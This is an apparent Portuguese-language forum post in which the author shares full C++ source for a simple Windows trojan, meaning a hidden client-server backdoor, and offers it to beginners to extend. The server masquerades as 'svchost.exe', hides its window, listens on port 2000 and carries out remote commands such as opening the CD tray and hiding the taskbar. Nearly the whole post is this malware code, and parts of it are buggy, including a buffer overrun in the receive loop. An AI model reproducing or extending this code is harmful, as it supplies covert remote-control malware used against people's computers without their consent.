Este é um simples codigo de um trojan, escrito por mim, metron_x
os programas cliente e o servidor usam a biblioteca trojan.h.
este codigo possui poucas funçoes, mais mostra com clareza como funciona a conexao: cliente - servidor.
Compilei usando o c++builder 4, mais ele deve funcionar na maioria do compiladores
Trojan.h
#ifndef _TUT_TROJAN_H_
#define _TUT_TROJAN_H_
using namespace std;
#include <winsock.h>
#include <windows.h>
#include <string.h>
#include <conio.h>
WSADATA data;
SOCKET winsock;
SOCKADDR_IN sock;
BOOL cont, cone;
char comand[60], comand1[60], host[20];
int status, opcao,porta;
HWND janela, bar_oc, bot_oc;
class Server
{
public:
int Conectar(); //Conecta servidor
int Desconectar(); //Desconecta servidor
int Receber(); //Receber e executar dados
void Camuflar(); //Oculta e altera seu titulo
};
int Server::Conectar()
{
if(WSAStartup(MAKEWORD(1,1),&data)==SOCKET_ERROR)
{
return 2;
}
if((winsock=socket(AF_INET,SOCK_STREAM,0))==SOCKET_ERROR)
{
return 2;
}
sock.sin_family=AF_INET;
sock.sin_port=htons(2000);
if(bind(winsock,(SOCKADDR*)&sock,sizeof(sock))==SOCKET_ERROR)
{
return 2;
}
listen(winsock,1);
while((winsock=accept(winsock,0,0))==SOCKET_ERROR)
{
Sleep(1);
}
return 0;
}
int Server::Desconectar()
{
closesocket(winsock);
WSACleanup();
return 0;
}
void Server::Camuflar()
{
SetConsoleTitle("svchost.exe");
janela = FindWindow(NULL,"svchost.exe");
ShowWindow(janela,SW_HIDE);
}
int Server::Receber()
{
cont=true;
while(cont==true)
{
Sleep(5);
memset(comand1,0,100);
status=recv(winsock,comand1,100,0);
if(status==-1)
{
cout<<"Conexao perdia";
Sleep(1500);
return 2;
}
if((strcmp("open",comand1))==0)
{
mciSendString("Set cdaudio door open wait", 0, 0, 0);
cout<<"abrindo CD"<<endl;
Sleep(12);
}
if((strcmp("close",comand1))==0)
{
mciSendString("Set cdaudio door closed wait", 0, 0, 0);
cout<<"fechando CD"<<endl;
Sleep(12);
}
if((strcmp("beep",comand1))==0)
{
Beep(200,100);
}
if((strcmp("sumir",comand1))==0)
{
bar_oc = FindWindow("Shell_TrayWnd", 0);
bot_oc = GetWindow(bar_oc, GW_CHILD);
ShowWindow(bot_oc, SW_HIDE);
}
if((strcmp("apare",comand1))==0)
{
bar_oc= FindWindow("Shell_TrayWnd", 0);
bot_oc= GetWindow(bar_oc, GW_CHILD);
ShowWindow(bot_oc, SW_RESTORE);
}
if((strcmp("des",comand1))==0)
{
cout<<"Saindo...";
Sleep(1500);
cont=false;
}
}
return 0;
}
class Client
{
public:
int Conectar(); //Conecta cliente
int Desconectar(); //Desconecta
int Enviar(); //Enviar dados
};
int Client::Conectar()
{
cout<<"Digite o ip do servidor: ";
cin.get(host,20);
if(WSAStartup(MAKEWORD(1,1),&data)==SOCKET_ERROR)
{
cout<<"erro ao inicializar socket"<<endl;
return 2;
}
if((winsock=socket(AF_INET,SOCK_STREAM,0))==SOCKET_ERROR)
{
cout<<"erro ao criar socket";
return 2;
}
sock.sin_family=AF_INET;
sock.sin_port=htons(2000);
sock.sin_addr.s_addr=inet_addr(host); // Ip do servidor
if(connect(winsock,(SOCKADDR*)&sock,sizeof(sock))==SOCKET_ERROR)
{
cout<<"erro ao conectar"<<endl;
Sleep(1200);
return 2;
}
cout<<"Cliente conectado"<<endl;
return 0;
}
int Client::Desconectar()
{
closesocket(winsock);
WSACleanup();
}
int Client::Enviar()
{
cont=true;
cone=true;
while(cont==true)
{
clrscr();
Sleep(5);
cout<<"Opcoes: "<<endl;
cout<<"1 - Abrir CD"<<endl;
cout<<"2 - Fechar CD"<<endl;
cout<<"3 - Beep"<<endl;
cout<<"4 - Sumir com Menu Iniciar"<<endl;
cout<<"5 - Mostrar Menu Iniciar"<<endl;
cout<<"6 - Desligar Servidor"<<endl;
cout<<" 7 - Sair"<<endl<<endl;
cout<<"Digite o numero do comando: ";
cin>>opcao;
if(opcao==1)
{
strcpy(comand,"open");
send(winsock,comand,strlen(comand),0);
if(cone==true)
{
cout<<"comando enviado";
Sleep(2000);
}
else{
cout<<"erro na conexao com servidor";
Sleep(2000);
}
}
if(opcao==2)
{
strcpy(comand,"close");
send(winsock,comand,strlen(comand),0);
if(cone==true)
{
cout<<"comando enviado";
Sleep(2000);
}
else{
cout<<"erro na conexao com servidor";
Sleep(2000);
}
}
if(opcao==3)
{
strcpy(comand,"beep");
send(winsock,comand,strlen(comand),0);
if(cone==true)
{
cout<<"comando enviado";
Sleep(2000);
}
else{
cout<<"erro na conexao com servidor";
Sleep(2000);
}
}
if(opcao==4)
{
strcpy(comand,"sumir");
send(winsock,comand,strlen(comand),0);
if(cone==true)
{
cout<<"comando enviado";
Sleep(2000);
}
else{
cout<<"erro na conexao com servidor";
Sleep(2000);
}
}
if(opcao==5)
{
strcpy(comand,"apare");
send(winsock,comand,strlen(comand),0);
if(cone==true)
{
cout<<"comando enviado";
Sleep(2000);
}
else{
cout<<"erro na conexao com servidor";
Sleep(2000);
}
}
if(opcao==6)
{
strcpy(comand,"des");
send(winsock,comand,strlen(comand),0);
cone=false;
cout<<"comando enviado";
Sleep(2000);
}
if(opcao==7)
{
cout<<"Saindo...";
Sleep(1500);
cont=false;
}
}
return 0;
}
#endif // _TUT_TROJAN_H_
Cliente.cpp
#include <iostream>
#include <windows.h>
#include <string>
#include "Trojan.h"
using namespace std;
main()
{
int erro;
Client cliente;
erro=cliente.Conectar();
if(erro==2)
{
return 0;
}
erro=cliente.Enviar();
if(erro==2)
{
return 0;
}
cliente.Desconectar();
}
Servidor.cpp
#include <iostream>
#include <windows.h>
#include <string>
#include "trojan.h"
using namespace std;
main()
{
int erro;
Server Servidor;
Servidor.Camuflar();
erro=Servidor.Conectar();
if(erro==2)
{
return 0;
}
erro=Servidor.Receber();
if(erro==2)
{
return 0;
}
Servidor.Desconectar();
}
Espero que esse trojan sirva para alguem q etiver começando.
Embora o codigo seja muito simples ele pode ser alterado para q fique um codigo mais compacto e complexo
flw